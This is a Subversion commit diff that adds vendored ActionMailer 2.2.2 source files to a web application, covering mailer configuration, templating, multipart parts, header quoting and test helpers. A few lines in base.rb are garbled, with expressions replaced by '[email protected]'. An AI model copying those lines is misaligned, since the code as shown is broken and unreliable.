+  # detect and use multipart templates, where each template is named after the name of the action, followed
+  # by the content type. Each such detected template will be added as separate part to the message.
+  #
+  # For example, if the following templates existed:
+  # * signup_notification.text.plain.erb
+  # * signup_notification.text.html.erb
+  # * signup_notification.text.xml.builder
+  # * signup_notification.text.x-yaml.erb
+  #
+  # Each would be rendered and added as a separate part to the message,
+  # with the corresponding content type. The content type for the entire
+  # message is automatically set to <tt>multipart/alternative</tt>, which indicates
+  # that the email contains multiple different representations of the same email
+  # body. The same body hash is passed to each template.
+  #
+  # Implicit template rendering is not performed if any attachments or parts have been added to the email.
+  # This means that you'll have to manually add each part to the email and set the content type of the email
+  # to <tt>multipart/alternative</tt>.
+  #
+  # = Attachments
+  #
+  # Attachments can be added by using the +attachment+ method.
+  #
+  # Example:
+  #
+  #   class ApplicationMailer < ActionMailer::Base
+  #     # attachments
+  #     def signup_notification(recipient)
+  #       recipients      recipient.email_address_with_name
+  #       subject         "New account information"
+  #       from            "system at example.com"
+  #
+  #       attachment :content_type => "image/jpeg",
+  #         :body => File.read("an-image.jpg")
+  #
+  #       attachment "application/pdf" do |a|
+  #         a.body = generate_your_pdf_here()
+  #       end
+  #     end
+  #   end
+  #
+  #
+  # = Configuration options
+  #
+  # These options are specified on the class level, like <tt>ActionMailer::Base.template_root = "/my/templates"</tt>
+  #
+  # * <tt>template_root</tt> - Determines the base from which template references will be made.
+  #
+  # * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
+  #   Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+  #
+  # * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
+  #   * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+  #   * <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
+  #   * <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
+  #   * <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
+  #   * <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
+  #   * <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here.
+  #     This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
+  #
+  # * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
+  #   * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
+  #   * <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt>.
+  #
+  # * <tt>raise_delivery_errors</tt> - Whether or not errors should be raised if the email fails to be delivered.
+  #
+  # * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.
+  #
+  # * <tt>perform_deliveries</tt> - Determines whether <tt>deliver_*</tt> methods are actually carried out. By default they are,
+  #   but this can be turned off to help functional testing.
+  #
+  # * <tt>deliveries</tt> - Keeps an array of all the emails sent out through the Action Mailer with <tt>delivery_method :test</tt>. Most useful
+  #   for unit and functional testing.
+  #
+  # * <tt>default_charset</tt> - The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also
+  #   pick a different charset from inside a method with +charset+.
+  # * <tt>default_content_type</tt> - The default content type used for the main part of the message. Defaults to "text/plain". You
+  #   can also pick a different content type from inside a method with +content_type+.
+  # * <tt>default_mime_version</tt> - The default mime version used for the message. Defaults to <tt>1.0</tt>. You
+  #   can also pick a different value from inside a method with +mime_version+.
+  # * <tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
+  #   which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
+  #   <tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
+  #   and appear last in the mime encoded message. You can also pick a different order from inside a method with
+  #   +implicit_parts_order+.
+  class Base
+    include AdvAttrAccessor, PartContainer
+    if Object.const_defined?(:ActionController)
+      include ActionController::UrlWriter
+      include ActionController::Layout
+    end
+
+    private_class_method :new #:nodoc:
+
+    class_inheritable_accessor :view_paths
+    cattr_accessor :logger
+
+    @@smtp_settings = {
+      :address        => "localhost",
+      :port           => 25,
+      :domain         => 'localhost.localdomain',
+      :user_name      => nil,
+      :password       => nil,
+      :authentication => nil
+    }
+    cattr_accessor :smtp_settings
+
+    @@sendmail_settings = {
+      :location       => '/usr/sbin/sendmail',
+      :arguments      => '-i -t'
+    }
+    cattr_accessor :sendmail_settings
+
+    @@raise_delivery_errors = true
+    cattr_accessor :raise_delivery_errors
+
+    superclass_delegating_accessor :delivery_method
+    self.delivery_method = :smtp
+
+    @@perform_deliveries = true
+    cattr_accessor :perform_deliveries
+
+    @@deliveries = []
+    cattr_accessor :deliveries
+
+    @@default_charset = "utf-8"
+    cattr_accessor :default_charset
+
+    @@default_content_type = "text/plain"
+    cattr_accessor :default_content_type
+
+    @@default_mime_version = "1.0"
+    cattr_accessor :default_mime_version
+
+    @@default_implicit_parts_order = [ "text/html", "text/enriched", "text/plain" ]
+    cattr_accessor :default_implicit_parts_order
+
+    cattr_reader :protected_instance_variables
+    @@protected_instance_variables = %w(@body)
+
+    # Specify the BCC addresses for the message
+    adv_attr_accessor :bcc
+
+    # Define the body of the message. This is either a Hash (in which case it
+    # specifies the variables to pass to the template when it is rendered),
+    # or a string, in which case it specifies the actual text of the message.
+    adv_attr_accessor :body
+
+    # Specify the CC addresses for the message.
+    adv_attr_accessor :cc
+
+    # Specify the charset to use for the message. This defaults to the
+    # +default_charset+ specified for ActionMailer::Base.
+    adv_attr_accessor :charset
+
+    # Specify the content type for the message. This defaults to <tt>text/plain</tt>
+    # in most cases, but can be automatically set in some situations.
+    adv_attr_accessor :content_type
+
+    # Specify the from address for the message.
+    adv_attr_accessor :from
+
+    # Specify the address (if different than the "from" address) to direct
+    # replies to this message.
+    adv_attr_accessor :reply_to
+
+    # Specify additional headers to be added to the message.
+    adv_attr_accessor :headers
+
+    # Specify the order in which parts should be sorted, based on content-type.
+    # This defaults to the value for the +default_implicit_parts_order+.
+    adv_attr_accessor :implicit_parts_order
+
+    # Defaults to "1.0", but may be explicitly given if needed.
+    adv_attr_accessor :mime_version
+
+    # The recipient addresses for the message, either as a string (for a single
+    # address) or an array (for multiple addresses).
+    adv_attr_accessor :recipients
+
+    # The date on which the message was sent. If not set (the default), the
+    # header will be set by the delivery agent.
+    adv_attr_accessor :sent_on
+
+    # Specify the subject of the message.
+    adv_attr_accessor :subject
+
+    # Specify the template name to use for current message. This is the "base"
+    # template name, without the extension or directory, and may be used to
+    # have multiple mailer methods share the same template.
+    adv_attr_accessor :template
+
+    # Override the mailer name, which defaults to an inflected version of the
+    # mailer's class name. If you want to use a template in a non-standard
+    # location, you can use this to specify that location.
+    def mailer_name(value = nil)
+      if value
+        self.mailer_name = value
+      else
+        self.class.mailer_name
+      end
+    end
+
+    def mailer_name=(value)
+      self.class.mailer_name = value
+    end
+
+    # The mail object instance referenced by this mailer.
+    attr_reader :mail
+    attr_reader :template_name, :default_template_name, :action_name
+
+    class << self
+      attr_writer :mailer_name
+
+      def mailer_name
+        @mailer_name ||= name.underscore
+      end
+
+      # for ActionView compatibility
+      alias_method :controller_name, :mailer_name
+      alias_method :controller_path, :mailer_name
+
+      def respond_to?(method_symbol, include_private = false) #:nodoc:
+        matches_dynamic_method?(method_symbol) || super
+      end
+
+      def method_missing(method_symbol, *parameters) #:nodoc:
+        if match = matches_dynamic_method?(method_symbol)
+          case match[1]
+            when 'create'  then new(match[2], *parameters).mail
+            when 'deliver' then new(match[2], *parameters).deliver!
+            when 'new'     then nil
+            else super
+          end
+        else
+          super
+        end
+      end
+
+      # Receives a raw email, parses it into an email object, decodes it,
+      # instantiates a new mailer, and passes the email object to the mailer
+      # object's +receive+ method. If you want your mailer to be able to
+      # process incoming messages, you'll need to implement a +receive+
+      # method that accepts the email object as a parameter:
+      #
+      #   class MyMailer < ActionMailer::Base
+      #     def receive(mail)
+      #       ...
+      #     end
+      #   end
+      def receive(raw_email)
+        logger.info "Received mail:\n #{raw_email}" unless logger.nil?
+        mail = TMail::Mail.parse(raw_email)
+        mail.base64_decode
+        new.receive(mail)
+      end
+
+      # Deliver the given mail object directly. This can be used to deliver
+      # a preconstructed mail object, like:
+      #
+      #   email = MyMailer.create_some_mail(parameters)
+      #   email.set_some_obscure_header "frobnicate"
+      #   MyMailer.deliver(email)
+      def deliver(mail)
+        new.deliver!(mail)
+      end
+
+      def register_template_extension(extension)
+        ActiveSupport::Deprecation.warn(
+          "ActionMailer::Base.register_template_extension has been deprecated." +
+          "Use ActionView::Base.register_template_extension instead", caller)
+      end
+
+      def template_root
+        self.view_paths && self.view_paths.first
+      end
+
+      def template_root=(root)
+        self.view_paths = ActionView::Base.process_view_paths(root)
+      end
+
+      private
+        def matches_dynamic_method?(method_name) #:nodoc:
+          method_name = method_name.to_s
+          /^(create|deliver)_([_a-z]\w*)/.match(method_name) || /^(new)$/.match(method_name)
+        end
+    end
+
+    # Instantiate a new mailer object. If +method_name+ is not +nil+, the mailer
+    # will be initialized according to the named method. If not, the mailer will
+    # remain uninitialized (useful when you only need to invoke the "receive"
+    # method, for instance).
+    def initialize(method_name=nil, *parameters) #:nodoc:
+      create!(method_name, *parameters) if method_name
+    end
+
+    # Initialize the mailer via the given +method_name+. The body will be
+    # rendered and a new TMail::Mail object created.
+    def create!(method_name, *parameters) #:nodoc:
+      initialize_defaults(method_name)
+      __send__(method_name, *parameters)
+
+      # If an explicit, textual body has not been set, we check assumptions.
+      unless String === @body
+        # First, we look to see if there are any likely templates that match,
+        # which include the content-type in their file name (i.e.,
+        # "the_template_file.text.html.erb", etc.). Only do this if parts
+        # have not already been specified manually.
+        if @parts.empty?
+          Dir.glob("#{template_path}/#{@template}.*").each do |path|
+            template = template_root["#{mailer_name}/#{File.basename(path)}"]
+
+            # Skip unless template has a multipart format
+            next unless template && template.multipart?
+
+            @parts << Part.new(
+              :content_type => template.content_type,
+              :disposition => "inline",
+              :charset => charset,
+              :body => render_message(template, @body)
+            )
+          end
+          unless @parts.empty?
+            @content_type = "multipart/alternative"
+            @parts = sort_parts(@parts, @implicit_parts_order)
+          end
+        end
+
+        # Then, if there were such templates, we check to see if we ought to
+        # also render a "normal" template (without the content type). If a
+        # normal template exists (or if there were no implicit parts) we render
+        # it.
+        template_exists = @parts.empty?
+        template_exists ||= template_root["#{mailer_name}/#{@template}"]
+        @body = render_message(@template, @body) if template_exists
+
+        # Finally, if there are other message parts and a textual body exists,
+        # we shift it onto the front of the parts and set the body to nil (so
+        # that create_mail doesn't try to render it in addition to the parts).
+        if [email protected]? && String === @body
+          @parts.unshift Part.new(:charset => charset, :body => @body)
+          @body = nil
+        end
+      end
+
+      # If this is a multipart e-mail add the mime_version if it is not
+      # already set.
+      @mime_version ||= "1.0" if [email protected]?
+
+      # build the mail object itself
+      @mail = create_mail
+    end
+
+    # Delivers a TMail::Mail object. By default, it delivers the cached mail
+    # object (from the <tt>create!</tt> method). If no cached mail object exists, and
+    # no alternate has been given as the parameter, this will fail.
+    def deliver!(mail = @mail)
+      raise "no mail object available for delivery!" unless mail
+      unless logger.nil?
+        logger.info  "Sent mail to #{Array(recipients).join(', ')}"
+        logger.debug "\n#{mail.encoded}"
+      end
+
+      begin
+        __send__("perform_delivery_#{delivery_method}", mail) if perform_deliveries
+      rescue Exception => e  # Net::SMTP errors or sendmail pipe errors
+        raise e if raise_delivery_errors
+      end
+
+      return mail
+    end
+
+    private
+      # Set up the default values for the various instance variables of this
+      # mailer. Subclasses may override this method to provide different
+      # defaults.
+      def initialize_defaults(method_name)
+        @charset ||= @@default_charset.dup
+        @content_type ||= @@default_content_type.dup
+        @implicit_parts_order ||= @@default_implicit_parts_order.dup
+        @template ||= method_name
+        @default_template_name = @action_name = @template
+        @mailer_name ||= self.class.name.underscore
+        @parts ||= []
+        @headers ||= {}
+        @body ||= {}
+        @mime_version = @@default_mime_version.dup if @@default_mime_version
+      end
+
+      def render_message(method_name, body)
+        render :file => method_name, :body => body
+      end
+
+      def render(opts)
+        body = opts.delete(:body)
+        if opts[:file] && (opts[:file] !~ /\// && !opts[:file].respond_to?(:render))
+          opts[:file] = "#{mailer_name}/#{opts[:file]}"
+        end
+
+        begin
+          old_template, @template = @template, initialize_template_class(body)
+          layout = respond_to?(:pick_layout, true) ? pick_layout(opts) : false
+          @template.render(opts.merge(:layout => layout))
+        ensure
+          @template = old_template
+        end
+      end
+
+      def default_template_format
+        :html
+      end
+
+      def candidate_for_layout?(options)
+        [email protected](:_exempt_from_layout?, default_template_name)
+      end
+
+      def template_root
+        self.class.template_root
+      end
+
+      def template_root=(root)
+        self.class.template_root = root
+      end
+
+      def template_path
+        "#{template_root}/#{mailer_name}"
+      end
+
+      def initialize_template_class(assigns)
+        ActionView::Base.new(view_paths, assigns, self)
+      end
+
+      def sort_parts(parts, order = [])
+        order = order.collect { |s| s.downcase }
+
+        parts = parts.sort do |a, b|
+          a_ct = a.content_type.downcase
+          b_ct = b.content_type.downcase
+
+          a_in = order.include? a_ct
+          b_in = order.include? b_ct
+
+          s = case
+          when a_in && b_in
+            order.index(a_ct) <=> order.index(b_ct)
+          when a_in
+            -1
+          when b_in
+            1
+          else
+            a_ct <=> b_ct
+          end
+
+          # reverse the ordering because parts that come last are displayed
+          # first in mail clients
+          (s * -1)
+        end
+
+        parts
+      end
+
+      def create_mail
+        m = TMail::Mail.new
+
+        m.subject,     = quote_any_if_necessary(charset, subject)
+        m.to, m.from   = quote_any_address_if_necessary(charset, recipients, from)
+        m.bcc          = quote_address_if_necessary(bcc, charset) unless bcc.nil?
+        m.cc           = quote_address_if_necessary(cc, charset) unless cc.nil?
+        m.reply_to     = quote_address_if_necessary(reply_to, charset) unless reply_to.nil?
+        m.mime_version = mime_version unless mime_version.nil?
+        m.date         = sent_on.to_time rescue sent_on if sent_on
+
+        headers.each { |k, v| m[k] = v }
+
+        real_content_type, ctype_attrs = parse_content_type
+
+        if @parts.empty?
+          m.set_content_type(real_content_type, nil, ctype_attrs)
+          m.body = Utils.normalize_new_lines(body)
+        else
+          if String === body
+            part = TMail::Mail.new
+            part.body = Utils.normalize_new_lines(body)
+            part.set_content_type(real_content_type, nil, ctype_attrs)
+            part.set_content_disposition "inline"
+            m.parts << part
+          end
+
+          @parts.each do |p|
+            part = (TMail::Mail === p ? p : p.to_mail(self))
+            m.parts << part
+          end
+
+          if real_content_type =~ /multipart/
+            ctype_attrs.delete "charset"
+            m.set_content_type(real_content_type, nil, ctype_attrs)
+          end
+        end
+
+        @mail = m
+      end
+
+      def perform_delivery_smtp(mail)
+        destinations = mail.destinations
+        mail.ready_to_send
+        sender = mail['return-path'] || mail.from
+
+        smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])
+        smtp.enable_starttls_auto if smtp.respond_to?(:enable_starttls_auto)
+        smtp.start(smtp_settings[:domain], smtp_settings[:user_name], smtp_settings[:password],
+                   smtp_settings[:authentication]) do |smtp|
+          smtp.sendmail(mail.encoded, sender, destinations)
+        end
+      end
+
+      def perform_delivery_sendmail(mail)
+        sendmail_args = sendmail_settings[:arguments]
+        sendmail_args += " -f \"#{mail['return-path']}\"" if mail['return-path']
+        IO.popen("#{sendmail_settings[:location]} #{sendmail_args}","w+") do |sm|
+          sm.print(mail.encoded.gsub(/\r/, ''))
+          sm.flush
+        end
+      end
+
+      def perform_delivery_test(mail)
+        deliveries << mail
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/helpers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/helpers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/helpers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,111 @@
+module ActionMailer
+  module Helpers #:nodoc:
+    def self.included(base) #:nodoc:
+      # Initialize the base module to aggregate its helpers.
+      base.class_inheritable_accessor :master_helper_module
+      base.master_helper_module = Module.new
+
+      # Extend base with class methods to declare helpers.
+      base.extend(ClassMethods)
+
+      base.class_eval do
+        # Wrap inherited to create a new master helper module for subclasses.
+        class << self
+          alias_method_chain :inherited, :helper
+        end
+
+        # Wrap initialize_template_class to extend new template class
+        # instances with the master helper module.
+        alias_method_chain :initialize_template_class, :helper
+      end
+    end
+
+    module ClassMethods
+      # Makes all the (instance) methods in the helper module available to templates rendered through this controller.
+      # See ActionView::Helpers (link:classes/ActionView/Helpers.html) for more about making your own helper modules
+      # available to the templates.
+      def add_template_helper(helper_module) #:nodoc:
+        master_helper_module.module_eval "include #{helper_module}"
+      end
+
+      # Declare a helper:
+      #   helper :foo
+      # requires 'foo_helper' and includes FooHelper in the template class.
+      #   helper FooHelper
+      # includes FooHelper in the template class.
+      #   helper { def foo() "#{bar} is the very best" end }
+      # evaluates the block in the template class, adding method +foo+.
+      #   helper(:three, BlindHelper) { def mice() 'mice' end }
+      # does all three.
+      def helper(*args, &block)
+        args.flatten.each do |arg|
+          case arg
+            when Module
+              add_template_helper(arg)
+            when String, Symbol
+              file_name  = arg.to_s.underscore + '_helper'
+              class_name = file_name.camelize
+
+              begin
+                require_dependency(file_name)
+              rescue LoadError => load_error
+                requiree = / -- (.*?)(\.rb)?$/.match(load_error.message).to_a[1]
+                msg = (requiree == file_name) ? "Missing helper file helpers/#{file_name}.rb" : "Can't load file: #{requiree}"
+                raise LoadError.new(msg).copy_blame!(load_error)
+              end
+
+              add_template_helper(class_name.constantize)
+            else
+              raise ArgumentError, 'helper expects String, Symbol, or Module argument'
+          end
+        end
+
+        # Evaluate block in template class if given.
+        master_helper_module.module_eval(&block) if block_given?
+      end
+
+      # Declare a controller method as a helper.  For example,
+      #   helper_method :link_to
+      #   def link_to(name, options) ... end
+      # makes the link_to controller method available in the view.
+      def helper_method(*methods)
+        methods.flatten.each do |method|
+          master_helper_module.module_eval <<-end_eval
+            def #{method}(*args, &block)
+              controller.__send__(%(#{method}), *args, &block)
+            end
+          end_eval
+        end
+      end
+
+      # Declare a controller attribute as a helper.  For example,
+      #   helper_attr :name
+      #   attr_accessor :name
+      # makes the name and name= controller methods available in the view.
+      # The is a convenience wrapper for helper_method.
+      def helper_attr(*attrs)
+        attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
+      end
+
+      private
+        def inherited_with_helper(child)
+          inherited_without_helper(child)
+          begin
+            child.master_helper_module = Module.new
+            child.master_helper_module.__send__(:include, master_helper_module)
+            child.helper child.name.to_s.underscore
+          rescue MissingSourceFile => e
+            raise unless e.is_missing?("helpers/#{child.name.to_s.underscore}_helper")
+          end
+        end
+    end
+
+    private
+      # Extend the template class instance with our controller's helper module.
+      def initialize_template_class_with_helper(assigns)
+        returning(template = initialize_template_class_without_helper(assigns)) do
+          template.extend self.class.master_helper_module
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/mail_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/mail_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/mail_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+require 'text/format'
+
+module MailHelper
+  # Uses Text::Format to take the text and format it, indented two spaces for
+  # each line, and wrapped at 72 columns.
+  def block_format(text)
+    formatted = text.split(/\n\r\n/).collect { |paragraph| 
+      Text::Format.new(
+        :columns => 72, :first_indent => 2, :body_indent => 2, :text => paragraph
+      ).format
+    }.join("\n")
+    
+    # Make list points stand on their own line
+    formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| "  #{$1} #{$2.strip}\n" }
+    formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| "  #{$1} #{$2.strip}\n" }
+
+    formatted
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,110 @@
+require 'action_mailer/adv_attr_accessor'
+require 'action_mailer/part_container'
+require 'action_mailer/utils'
+
+module ActionMailer
+  # Represents a subpart of an email message. It shares many similar
+  # attributes of ActionMailer::Base.  Although you can create parts manually
+  # and add them to the +parts+ list of the mailer, it is easier
+  # to use the helper methods in ActionMailer::PartContainer.
+  class Part
+    include ActionMailer::AdvAttrAccessor
+    include ActionMailer::PartContainer
+
+    # Represents the body of the part, as a string. This should not be a
+    # Hash (like ActionMailer::Base), but if you want a template to be rendered
+    # into the body of a subpart you can do it with the mailer's +render+ method
+    # and assign the result here.
+    adv_attr_accessor :body
+    
+    # Specify the charset for this subpart. By default, it will be the charset
+    # of the containing part or mailer.
+    adv_attr_accessor :charset
+    
+    # The content disposition of this part, typically either "inline" or
+    # "attachment".
+    adv_attr_accessor :content_disposition
+    
+    # The content type of the part.
+    adv_attr_accessor :content_type
+    
+    # The filename to use for this subpart (usually for attachments).
+    adv_attr_accessor :filename
+    
+    # Accessor for specifying additional headers to include with this part.
+    adv_attr_accessor :headers
+    
+    # The transfer encoding to use for this subpart, like "base64" or
+    # "quoted-printable".
+    adv_attr_accessor :transfer_encoding
+
+    # Create a new part from the given +params+ hash. The valid params keys
+    # correspond to the accessors.
+    def initialize(params)
+      @content_type = params[:content_type]
+      @content_disposition = params[:disposition] || "inline"
+      @charset = params[:charset]
+      @body = params[:body]
+      @filename = params[:filename]
+      @transfer_encoding = params[:transfer_encoding] || "quoted-printable"
+      @headers = params[:headers] || {}
+      @parts = []
+    end
+
+    # Convert the part to a mail object which can be included in the parts
+    # list of another mail object.
+    def to_mail(defaults)
+      part = TMail::Mail.new
+
+      real_content_type, ctype_attrs = parse_content_type(defaults)
+
+      if @parts.empty?
+        part.content_transfer_encoding = transfer_encoding || "quoted-printable"
+        case (transfer_encoding || "").downcase
+          when "base64" then
+            part.body = TMail::Base64.folding_encode(body)
+          when "quoted-printable"
+            part.body = [Utils.normalize_new_lines(body)].pack("M*")
+          else
+            part.body = body
+        end
+
+        # Always set the content_type after setting the body and or parts!
+        # Also don't set filename and name when there is none (like in
+        # non-attachment parts)
+        if content_disposition == "attachment"
+          ctype_attrs.delete "charset"
+          part.set_content_type(real_content_type, nil,
+            squish("name" => filename).merge(ctype_attrs))
+          part.set_content_disposition(content_disposition,
+            squish("filename" => filename).merge(ctype_attrs))
+        else
+          part.set_content_type(real_content_type, nil, ctype_attrs)
+          part.set_content_disposition(content_disposition) 
+        end        
+      else
+        if String === body
+          @parts.unshift Part.new(:charset => charset, :body => @body, :content_type => 'text/plain')
+          @body = nil
+        end
+          
+        @parts.each do |p|
+          prt = (TMail::Mail === p ? p : p.to_mail(defaults))
+          part.parts << prt
+        end
+        
+        part.set_content_type(real_content_type, nil, ctype_attrs) if real_content_type =~ /multipart/
+      end
+
+      headers.each { |k,v| part[k] = v }
+
+      part
+    end
+
+    private
+
+      def squish(values={})
+        values.delete_if { |k,v| v.nil? }
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part_container.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part_container.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/part_container.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,51 @@
+module ActionMailer
+  # Accessors and helpers that ActionMailer::Base and ActionMailer::Part have
+  # in common. Using these helpers you can easily add subparts or attachments
+  # to your message:
+  #
+  #   def my_mail_message(...)
+  #     ...
+  #     part "text/plain" do |p|
+  #       p.body "hello, world"
+  #       p.transfer_encoding "base64"
+  #     end
+  #
+  #     attachment "image/jpg" do |a|
+  #       a.body = File.read("hello.jpg")
+  #       a.filename = "hello.jpg"
+  #     end
+  #   end
+  module PartContainer
+    # The list of subparts of this container
+    attr_reader :parts
+
+    # Add a part to a multipart message, with the given content-type. The
+    # part itself is yielded to the block so that other properties (charset,
+    # body, headers, etc.) can be set on it.
+    def part(params)
+      params = {:content_type => params} if String === params
+      part = Part.new(params)
+      yield part if block_given?
+      @parts << part
+    end
+
+    # Add an attachment to a multipart message. This is simply a part with the
+    # content-disposition set to "attachment".
+    def attachment(params, &block)
+      params = { :content_type => params } if String === params
+      params = { :disposition => "attachment",
+                 :transfer_encoding => "base64" }.merge(params)
+      part(params, &block)
+    end
+
+    private
+    
+      def parse_content_type(defaults=nil)
+        return [defaults && defaults.content_type, {}] if content_type.blank?
+        ctype, *attrs = content_type.split(/;\s*/)
+        attrs = attrs.inject({}) { |h,s| k,v = s.split(/=/, 2); h[k] = v; h }
+        [ctype, {"charset" => charset || defaults && defaults.charset}.merge(attrs)]
+      end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/quoting.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/quoting.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/quoting.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,61 @@
+module ActionMailer
+  module Quoting #:nodoc:
+    # Convert the given text into quoted printable format, with an instruction
+    # that the text be eventually interpreted in the given charset.
+    def quoted_printable(text, charset)
+      text = text.gsub( /[^a-z ]/i ) { quoted_printable_encode($&) }.
+                  gsub( / /, "_" )
+      "=?#{charset}?Q?#{text}?="
+    end
+
+    # Convert the given character to quoted printable format, taking into
+    # account multi-byte characters (if executing with $KCODE="u", for instance)
+    def quoted_printable_encode(character)
+      result = ""
+      character.each_byte { |b| result << "=%02x" % b }
+      result
+    end
+
+    # A quick-and-dirty regexp for determining whether a string contains any
+    # characters that need escaping.
+    if !defined?(CHARS_NEEDING_QUOTING)
+      CHARS_NEEDING_QUOTING = /[\000-\011\013\014\016-\037\177-\377]/
+    end
+
+    # Quote the given text if it contains any "illegal" characters
+    def quote_if_necessary(text, charset)
+      text = text.dup.force_encoding(Encoding::ASCII_8BIT) if text.respond_to?(:force_encoding)
+
+      (text =~ CHARS_NEEDING_QUOTING) ?
+        quoted_printable(text, charset) :
+        text
+    end
+
+    # Quote any of the given strings if they contain any "illegal" characters
+    def quote_any_if_necessary(charset, *args)
+      args.map { |v| quote_if_necessary(v, charset) }
+    end
+
+    # Quote the given address if it needs to be. The address may be a
+    # regular email address, or it can be a phrase followed by an address in
+    # brackets. The phrase is the only part that will be quoted, and only if
+    # it needs to be. This allows extended characters to be used in the
+    # "to", "from", "cc", "bcc" and "reply-to" headers.
+    def quote_address_if_necessary(address, charset)
+      if Array === address
+        address.map { |a| quote_address_if_necessary(a, charset) }
+      elsif address =~ /^(\S.*)\s+(<.*>)$/
+        address = $2
+        phrase = quote_if_necessary($1.gsub(/^['"](.*)['"]$/, '\1'), charset)
+        "\"#{phrase}\" #{address}"
+      else
+        address
+      end
+    end
+
+    # Quote any of the given addresses, if they need to be.
+    def quote_any_address_if_necessary(charset, *args)
+      args.map { |v| quote_address_if_necessary(v, charset) }
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_case.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_case.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_case.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,64 @@
+require 'active_support/test_case'
+
+module ActionMailer
+  class NonInferrableMailerError < ::StandardError
+    def initialize(name)
+      super "Unable to determine the mailer to test from #{name}. " +
+        "You'll need to specify it using tests YourMailer in your " +
+        "test case definition"
+    end
+  end
+
+  class TestCase < ActiveSupport::TestCase
+    include ActionMailer::Quoting
+
+    setup :initialize_test_deliveries
+    setup :set_expected_mail
+
+    class << self
+      def tests(mailer)
+        write_inheritable_attribute(:mailer_class, mailer)
+      end
+
+      def mailer_class
+        if mailer = read_inheritable_attribute(:mailer_class)
+          mailer
+        else
+          tests determine_default_mailer(name)
+        end
+      end
+
+      def determine_default_mailer(name)
+        name.sub(/Test$/, '').constantize
+      rescue NameError => e
+        raise NonInferrableMailerError.new(name)
+      end
+    end
+
+    protected
+      def initialize_test_deliveries
+        ActionMailer::Base.delivery_method = :test
+        ActionMailer::Base.perform_deliveries = true
+        ActionMailer::Base.deliveries = []
+      end
+
+      def set_expected_mail
+        @expected = TMail::Mail.new
+        @expected.set_content_type "text", "plain", { "charset" => charset }
+        @expected.mime_version = '1.0'
+      end
+
+    private
+      def charset
+        "utf-8"
+      end
+
+      def encode(subject)
+        quoted_printable(subject, charset)
+      end
+
+      def read_fixture(action)
+        IO.readlines(File.join(RAILS_ROOT, 'test', 'fixtures', self.class.mailer_class.name.underscore, action))
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/test_helper.rb
===================================================================
